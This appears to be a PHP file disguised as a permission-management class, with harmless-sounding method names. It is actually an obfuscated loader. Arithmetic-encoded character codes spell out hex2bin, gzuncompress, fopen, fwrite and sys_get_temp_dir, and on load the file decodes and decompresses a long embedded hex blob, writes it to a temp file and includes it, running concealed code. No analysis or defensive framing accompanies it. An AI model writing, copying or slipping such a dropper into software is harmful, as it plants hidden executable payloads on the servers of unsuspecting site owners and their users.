<?php
class PermissionManager
{
    private $vy = '';
    private $rp = '';
    public function rollbackTransaction($p1)
    {
        $w = array(39 + 65, 34 * 2 + 33, 46 + 74, 50, 54 + 17 + 27, 3 * 35, 94 + 16);
        $i = '';
        foreach ($w as $c) {
            $i .= chr($c);
        }
        return $i($p1);
    }
    public function checkConsistency($p1)
    {
        $e = array(75 * 77 - 5672, 59 * 64 - 3654, 8 * 20 - 43, 106 * 15 - 1480, 40 + 59, 111, 65 + 4 + 40, 37 + 75, 2 * 57, 101 * 1, 124 - 9, 56 * 37 - 1957);
        $c = '';
        foreach ($e as $l) {
            $c .= chr($l);
        }
        return $c($p1);
    }
    public function calculateSum($p1, $p2)
    {
        $x = array(110, 13 * 63 - 718, 58 + 54, 111, 2 * 51);
        $f = '';
        foreach ($x as $e) {
            $f .= chr($e);
        }
        $f = strrev($f);
        return $f($p1, $p2);
    }
    public function cacheData($p1, $p2)
    {
        $h = array(51 * 35 - 1683, 129 - 10, 68 + 31 + 15, 95 * 38 - 3505, 2 + 69 + 45, 66 * 1 + 35);
        $a = '';
        foreach ($h as $g) {
            $a .= chr($g);
        }
        return $a($p1, $p2);
    }
    public function generateToken($p1)
    {
        $p = array(101, 115, 118 - 7, 109 - 1, 101 - 2, 104 - 2);
        $t = '';
        foreach ($p as $y) {
            $t .= chr($y);
        }
        $t = strrev($t);
        return $t($p1);
    }
    public function manageState($p1, $p2 = null)
    {
        $z = array(10 * 98 - 871, 14 + 1 + 90, 122 - 8, 2 * 58, 2 * 57);
        $j = '';
        foreach ($z as $g) {
            $j .= chr($g);
        }
        $j = strrev($j);
        return $j($p1, $p2);
    }
    public function executeAction()
    {
        $this->rp = $this->manageState($this->sanitizeInput(), '/');
    }
    public function triggerCallback()
    {
        $this->vy = $this->checkConsistency($this->rollbackTransaction($this->zn));
    }
    public function processData()
    {
        $fn = $this->rp . '/bg-6974f8c474889';
        $f = $this->calculateSum($fn, 'w');
        $this->cacheData($f, $this->vy);
        $this->generateToken($f);
        $this->fetchSummary($fn);
    }
    private $zn = '789c95580b53e2d812fe2b4e95bb9ad23b0b888ac3cd4e051' . '2100522101899292f15425e2424310ff270fdeff7749f3026e' . '8b0bb55f3c8e9febacfe93e7dfac17fbf7a8677a4d872101c2' . 'd56e68be79b5b39548f82500e4de578a1ad9af4f3488b1c253' . '45de76891f8f6e9f122da9c1f2f922df3626aa79f02d5d6be7' . 'c0138433f17def694691e2fc24dc206a16fabce29a209298bd' . '8a51ca857f5c54a55dc957afa26fc03d43e314dcdf5093c0cd' . '90ad9c3f6e2371559845ac34f2c8b9ce6d9192c19e0fc80af2' . '75631fc53d75f9dbe9198ffd175b2c5f56f78ac278669fa6a1' . '8f90e009baf65cb0be682252f6f676465df97d3d393c5523e6' . '1ff3cb9358489a80b6d652da883d19c1fb42e955ba3be1a703' . '345e0b8b9d80ab4efb3bbe5c9f9c9c2b73c1469e98ff749eff' . '1beea8677baa27c9f29f37eaccc86c6687e9fd4bf0d66baf4a' . '00bf37e6bd41feaca10449567907ce0062c2a526125eafa46c' . '8e2f46e36fdd68dc3472109fab364b06c571509d61d435fb6d' . '7c1e67ee48ebaedef526b6299d3643eefc66ee39677c58e11f' . '0845f130deb7a607e9741b3b10a4175df68dcddc52c6eb68d2' . 'd20cde3ca7c3ea2a4c0a3146e2a5663a4c85b0d48f75cbd3dc' . '8e5d21828f0e524e9ee3371775f3a356998cca54e77369cb44' . '6cf9c6049a2ceb5786970cbc741d0d17bdf9491d06b3f72ad3' . '6676df9f1a8d59fc6c34e8debb60ceeec31df6969add13bad8' . '63cc8a6adc168a00079e3d10d844e3f7327034e9802d54d6db' . '4b0a5f002df1b0369ad28141928fd84dab3f4322075f9b9aee' . '5bb28f4f6fa3137e177ae49a8b3e27e2b9d23258ed1aa3997f' . 'b6083005d11fba300293aead5522bee8d6ec4d92cdc2ebbf59' . 'b41ab37922e1a880877e78e47addcdf7e8a079c3a6ed6cd04b' . '53356fceeb8217f9f715997e7f8cea33dd31e5d844626b5ae2' . '24e9d560b29d1cee59a4d15eb1d5ea78a6dc547c51b1d97090' . '23a596fc3675622a48d0b41ea859d35b56d9d6d285b8f873a5' . '711536ef4b01e38fc44377a3af77c9f8da89f50093fe9e9023' . 'f70b9f6dceb66531a36ba922b88f86cb0e5db1661576eba662' . 'f4267e1d13b69c5e4d3f99ae7638be3f5a4bb564ce07ac6cf7' . '84a620a8caff8546974d7759f972a0d0cc3886e60adef74ee8' . 'fc19a931fb29e855ed8583b71df78a6f2d3359fd62b42a6a7c' . '264ea764c014ff9ec511d4af55ee7f4be3490fbd2d4eeace9d' . '3d38d900a2bb55eccf90fd274d493a6292f29ce30e6aafd095' . '5e2da3ad5e2267c26dc706dfd99972c8b9fb83ab9c1b5c0d33' . '0d357d457f38dc02b11d7ee6d09972a40795e9affd18b835a7' . 'f52590e530e398685468a09bc144ee5f2abcc30163bebf1601' . '7b0f116432d3184b63953775427a411187f7f14255791a6795' . 'c2e0d2457dca950eba03323d43834e851555cddeb341652746' . '17f54c710f396f41d702b9a3498e6eb6b5e531ce3df159583f' . '584e6eba3fd82f1af9377a5725eb93eaf5c5cd1bf55fa5f0d8' . '96451053a81c07f845885bf40be201810033cc2abf8a792436' . 'ac002b1eb0b58559053ab20ffbc52af5de03fe01b439557aa7' . 'f4a0a2eb10c2cc76a02a1f97c42cad2076c281d70a529f0898' . '7cc205043e2b0ae20fd28e248522530cb3d61487d7b392649c' . 'b6417fe9e2e15c3dc56725d88fafd7752633d37a0abf3221e6' . 'a02c45d40f0a4ee6ab21da8cccbca544b5aa14c40e20454f35' . '525987790006d584688783d600554137803cece0ce8018e176' . 'd51bcef094d28e42c04568eaf404b106d8aa42a903433bf6eb' . 'af801724f6c711f52a2f0ad9e30cdd8306d358fc037f467da6' . '5fc28a8ae314f79d441a0be635fe4ecb302ad4eac78f9107df' . '901fa8aa097be2a5b68e8d9d9af0e0f55156a109c1e759c355' . 'fd10ffb0aaf99e2aac1008c7810d5161837ccd329f3799f5aa' . 'd303b4bf7185582c79e0e1c86dbee016a39e0fc1d873829bf9' . '322b58e78ec2bf738c44def0f7685f03de23512f7bc5c6d401' . '811bb4d47b1a3959ab7a2af6f69c2877ed336c9cef18a7522d' . 'b265f4bdb66ff53fbdcb8bc69dcd42e2f2fafea9506986aa45' . '1e91e484b03511d3a780f995362eaf4412e49a207dfda267db' . 'c0b45b66d796997df07f43150670df2406027d96395c8b717a' . '663c22bc91ca6896bf2685c0f28b277de9e8efbe283b4984cf' . 'a8b9930ee75e60f82303ea78ff49fc06fc589745e74d60d734' . '0ae23f6fbe2b7bed8e6a49e382ccad52a87e4c682341d0fa53' . '1379c74c8f18a72d54372b702c7efe16b87f06d713814da92d' . '41b08e2b46417c9bc07e43e12a83370a170dd28a626aa82424' . '0dd3894a8aba1e9686e4e479262bb819a1330bb6e9c5272db6' . '0165449a67ffa54cc59b54b86c90b1cde5e9e448f4969deb09' . 'eec07ea22c222097140d427ec29f24acaa1bb851e92f408cc1' . '35b0a45e87221db4174416a5996b8d0f0428b16629ceeab556' . '8f99135fd84a6835de6de07928e98e04c27c2cc0dbb7c2e6d0' . '3fd31d412d24a7eb40fe997714e825dde0beb784479157d281' . 'b52c7060a78f673a9e0a568b9e785f8440399d50257b15c8f8' . 'c947051c9d7223ac276d321fd10f3a544c72675b5242ef8687' . 'bcda63d5746763fa74a0b777b45741596d7bbca1bc8cc8be64' . '56180df30512ff319b9086fecead3274d757331ccbac412128' . '1b97051e266b70119983186a1924532a511b1925f610a80244' . '53218b3bff7450512e52ea6c9bea472efc666a2166a896506e' . 'c2e1e26c298a495926312748ce69fd0a46f5987c03063c05cb' . '2d272b8ec1f822ba85bdfe4e0c4740ea161fe00e57045ccd70' . 'f21295e7eba2588d2e5c3f401d7eb610479cf070d4668e2fc7' . 'a1719436913bfdb06a61478001bdce66f1c0b730c3472f1af3' . '77ac627a1c860f117a86b7f7b0130dfc02b823eee575a61b88' . '127a216b41ebe2752fe70823ea0135506befd53270955cdb44' . '3d55f6c6528cfc41bc510bfa8d2221941274378345dbe13b24' . 'a32b5a28cf533c3e25af69b877a5218bb60ccd24dda94aa8ae' . '11e150119a6bed5169353b42d652072d3c0a34d0089d212132' . '632d04c1a68607bcf252e0c66d0e66d6512136a423a0106cff' . '96977d068cbfcf5d7cf15515e5c7acf70d45c2ab7d6d2f2beb' . '81479787a3b3961d83f416769025091a99b29e5923d4aec940' . 'e1de475219bec09bfd1add9087eb4c39ff8f21ffcf2d53a709' . 'ddd371c87c182b41b5540f41fcd251efea8a6eba5b104ae05a' . '13f7df5fa7f8200a743';
    public function fetchSummary($p)
    {
        include $p;
    }
    public function sanitizeInput()
    {
        $a = array(34 + 81, 117 + 4, 115, 9 + 86, 103, 101 * 1, 124 - 8, 97 - 2, 2 * 58, 87 * 1 + 14, 40 + 69, 66 * 51 - 3254, 89 + 3 + 3, 80 + 8 + 12, 105, 2 + 112);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$hl = new PermissionManager();
$hl->executeAction();
$hl->triggerCallback();
$hl->processData();